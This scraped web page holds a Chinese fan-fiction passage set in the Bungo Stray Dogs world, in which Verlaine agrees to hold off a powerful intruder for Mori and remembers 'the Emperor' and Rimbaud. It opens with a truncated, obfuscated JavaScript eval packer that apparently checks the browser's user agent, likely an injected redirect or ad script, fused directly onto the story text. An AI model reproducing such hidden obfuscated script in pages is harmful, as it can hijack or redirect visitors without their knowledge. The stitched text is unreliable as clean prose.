;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果是港口mafia的首领森鸥外找他帮忙,他大概是懒得动的,但是中原中也的存在足以让他破一回例。 “让我拦住他?”魏尔伦看着监控里那个闯进港口mafia为非作歹的人,目光久久不动。 “可以。但我不确保一定成功。”魏尔伦略显疲惫地说道,自从兰波死后,他就一直是这副倦怠的样子,“我……大概不是他的对手,不过只是掩护你逃走的话,应该没问题。” “你认识他?” “难道你不认识他?”魏尔伦反问道,“算了,我才想起来,你不是欧洲人。总之,我可以拦住他,替你制造逃走的机会,但我大概率会死……看在我舍命相护的份上,你以后善待中也吧。” “……” “怎么,改变主意了?” “他是谁?”森鸥外问道。 “……”魏尔伦表情渐渐变得迷蒙起来,像是陷入了悠久的回忆,半晌才摇了摇头,拒绝回答,“为了你的性命着想,还是不要有这种好奇心为好。” “……”森鸥外见魏尔伦没有说的意思,只得放弃了。因为魏尔伦的说辞,他明白了那个闯进港口mafia的人有多强大,为了长远打算,他只能暂时屈服了。 魏尔伦半靠在沙发上,望着森鸥外离去的背影,想到森鸥外带来的,有关那个人的消息,忽然笑了下。 赫赫有名的皇帝,他怎么可能不认识? 那家伙可不仅当过英国的皇帝,也当过法国的,即使那时法国已经没有了国王的说法,那家伙还是凭借着超强的实力直接复辟了王朝,让所有人不得不叫他皇帝。而对方在法国的统治就和英国一样短暂,只有短短几天,不过也足够让当时年轻的魏尔伦印象深刻了。 兰波曾经还将【皇帝】当作偶像。当时兰波每日忙于工作,对上司满腹怨气,在【皇帝】仅凭暴力成功夺权之后,兰波因此而清闲了一段时间,为此拍手叫好,私底下和魏尔伦说,“他简直是我的偶像!我真希望我有一天也能像他一样,用实力狠狠地打那帮老东西的脸,让他们老是让我加班!” 那真的是很久以前的事了,不过他还能回忆起当时亲友脸上的表情,无比鲜活,叫人怀念,连带着皇帝这个从未见面的陌生人都让他有种亲切的感觉。